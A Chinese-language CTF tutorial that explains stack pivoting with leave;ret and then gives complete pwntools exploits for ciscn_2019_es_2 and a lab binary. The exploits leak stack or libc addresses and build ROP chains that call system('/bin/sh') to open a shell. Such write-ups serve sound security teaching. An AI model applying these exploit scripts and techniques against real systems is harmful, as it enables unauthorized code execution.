本文讨论的原理,都是针对于32位程序的栈迁移来说的,例题里面有一道是64位的栈迁移
1、什么是栈迁移
这里我谈谈自己的理解,简单一句话:栈迁移就是控制程序的执行流(这个换的地方既可以是bss段也可以是栈里面),此时新的问题随之产生,为什么要换个地方GetShell,这就是下一段要说的为什么要使用栈迁移。
2、为什么要使用栈迁移&&什么时候该使栈迁移(使用栈迁移的条件)
言简意赅的来说,就是可溢出的长度不够用,也就是说我们要么是没办法溢出到返回地址只能溢出覆盖ebp,要么是刚好溢出覆盖了返回地址但是受payload长度限制,没办法把参数给写到返回地址后面。总之呢,就是能够溢出的长度不够,没办法GetShell,所以我们才需要换一个地方GetShell。
使用栈迁移的条件:
- 要能够溢出
- 有个可写的地方(就是你要GetShell的地方),先考虑bss段,最后再考虑写到栈中
- 可以控制sp寄存器
3、学习栈迁移需要自身掌握什么知识
- 需要掌握汇编基础
- 较为熟悉栈结构
- 熟悉函数调用与结束时栈的变化。
如果掌握了这些知识,那么理解下面的内容就不会太费力气了。当然如果你会用gdb进行调试的话,通过自己的动手调试,你将理解的更为透彻。如果你和我当初一样,也是对栈迁移一无所知,那么希望你可以仔细阅读下面的内容,我会帮你彻底理解它。
4、栈迁移的原理
ebp和ebp的内容是两码事(它们二者的关系就如同c语言中,指针p与*p的关系),以下图为例
1
| 0e:0038│ ebp 0xffffd0c8 —▸ 0xffffd0d8 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40 ◂— 0
|
ebp是0xffffd0c8,它的内容是0xffffd0d8,而这个内容也是一个地址,这个地址里面装的又是0xf7ffd020。ebp本身大部分时候都是一个地址(程序正常运行情况下),而ebp的内容可以是地址,也可以不是地址(程序正常运行下,ebp的内容也装的是地址,但如果你进行溢出的话,自然可以不装成地址)。我这里想强调的是ebp和ebp的内容这两者一定不能混为一谈,在阅读下面的内容是,一定要注意区分两者。
栈迁移的核心,就在于两次的leave;ret指令上面
leave指令即为mov esp ebp;pop ebp先将ebp赋给esp,此时esp与ebp位于了一个地址,你可以现在把它们指向的那个地址,即当成栈顶又可以当成是栈底。然后pop ebp,将栈顶的内容弹入ebp(此时栈顶的内容也就是ebp的内容,也就是说现在把ebp的内容赋给了ebp)。因为esp要时刻指向栈顶,既然栈顶的内容都弹走了,那么esp自然要往下挪一个内存单元。具体实现请见下图:
ret指令为pop eip,这个指令就是把栈顶的内容弹进了eip(就是下一条指令执行的地址)具体实现请见下图:
![2706180-20220118102755803-79970067]()
若这个ret_address为leave;ret
且fake_frame
为我们精心构造的栈帧,就可以实现将esp寄存器也迁移到我们精心构造的栈帧,从而实现get_shell等操作,具体实现请见下图:
![image-20241120220941300]()
栈迁移的例题有以下几种:
攻防世界上的greeting-150
BUUCTF上的[Black Watch 入群题]
BUUCTF上的ciscn_2019_es_2
BUUCTF上的gyctf_2020_borrowstack
它们考察了在迁移到栈,迁移到bss段,从main函数结束时迁移,从main函数调用的函数结束时迁移,和64位的栈迁移以及ret2csu。
实践
ciscn_2019_es_2
拖入ida中反编译如下,32位只有NX保护:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| int __cdecl main(int argc, const char **argv, const char **envp) { init(); puts("Welcome, my friend. What's your name?"); vul(); return 0; } int vul() { char s[40];
memset(s, 0, 0x20u); read(0, s, 0x30u); printf("Hello, %s\n", s); read(0, s, 0x30u); return printf("Hello, %s\n", s); } int hack() { return system("echo flag"); }
|
大概思路就是,我们要用第一个read来泄露下ebp的地址**(因为是printf来打印字符串,参数是%s,因此是遇见00才停止打印,只要我们第一次read正好输入0x28个字符,那就没有地方在填上00了(read读入之后,会自动补充00),因此就可以把下面的ebp地址给打印出来了)**,然后第二个read用来填充我们构造的system函数以及参数(我们这次是转移到了栈中,也就是第一次read读入s的地方),
1 2
| |system@plt|p32(0)|p32(buf+12)|/bin/sh\x00|\x00...|p32(buf-4)|p32(leave_ret)
|
参数分布参考上图
后面的p32(buf-4) + p32(leave) p32(buf-4) 是将ebp覆盖成buf的地址-4 为什么要-4?这是因为我们利用的是两个leave,但是第二个 leave的pop ebp,在出栈的时候会esp+4。就会指向esp+4的位置, p32(leave) ,将返回地址覆盖成leave 到这里,我们成功将栈劫持到了我们的buf处,接下来就会执行栈里的内容 完整exp见解题过程。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
|
from pwn import * import time
context.terminal = ['tmux', 'splitw', '-h'] context(log_level='debug', arch='i386', os='linux')
file_name = './pwn' if args['G']: p = remote('node5.buuoj.cn',28649) else: p = process(file_name) elf = ELF(file_name) libc = elf.libc
s = lambda data :p.send(data) sa = lambda delim, data :p.sendafter(delim, data) sl = lambda data :p.sendline(data) sla = lambda delim, data :p.sendlineafter(delim, data) r = lambda num=4096 :p.recv(num) ru = lambda delims :p.recvuntil(delims) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4, b'\x00')) uu64 = lambda data :u64(data.ljust(8, b'\x00')) leak = lambda name, addr :log.success('{} = {:#x}'.format(name, addr)) lg = lambda address, data :log.success('%s: ' % (address) + hex(data))
leave_ret = 0x08048562
payload = b'a'*38 + b'b'*2 s(payload) ru(b'aabb') ebp = u32(p.recv(4)) lg("ebp",ebp) sh = ebp-0x38+16 rop = flat([0,elf.plt['system'],0,sh,b'/bin',b'/sh\x00']) payload = rop.ljust(0x28,b'\x00') payload += p32(ebp-0x38) + p32(leave_ret) s(payload) itr()
|
hitcon lab
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
|
from pwn import * import time
file_name = './pwn' if args['G']: p = remote('192.168.6.128', 8888) else: p = process(file_name) elf = ELF(file_name) libc = elf.libc
s = lambda data :p.send(data) sa = lambda delim, data :p.sendafter(delim, data) sl = lambda data :p.sendline(data) sla = lambda delim, data :p.sendlineafter(delim, data) r = lambda num=4096 :p.recv(num) ru = lambda delims :p.recvuntil(delims) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4, b'\x00')) uu64 = lambda data :u64(data.ljust(8, b'\x00')) leak = lambda name, addr :log.success('{} = {:#x}'.format(name, addr)) lg = lambda address, data :log.success('%s: ' % (address) + hex(data))
buf = 0x804ae00 buf2 = buf+0x200
read_plt = elf.plt['read'] leave_ret = 0x08048504
payload = b'a'*40
rop = flat([buf,read_plt,leave_ret,0,buf,0x100]) payload += rop s(payload) time.sleep(0.1) pop1ret = 0x0804836d rop2 = flat([buf2,elf.plt['puts'],pop1ret,elf.got['puts'],read_plt,leave_ret,0,buf2,0x100]) sl(rop2) print(p.recvline()) puts = u32(p.recvline().strip()) lg('puts',puts) libc_base = puts - 0x732a0 lg('libc_base',libc_base) system = libc_base + 0x48170 sh = buf2 + 16 gdb.attach(p) rop3 = flat([buf,system,0,sh,b'/bin/sh\x00']) sl(rop3) itr()
|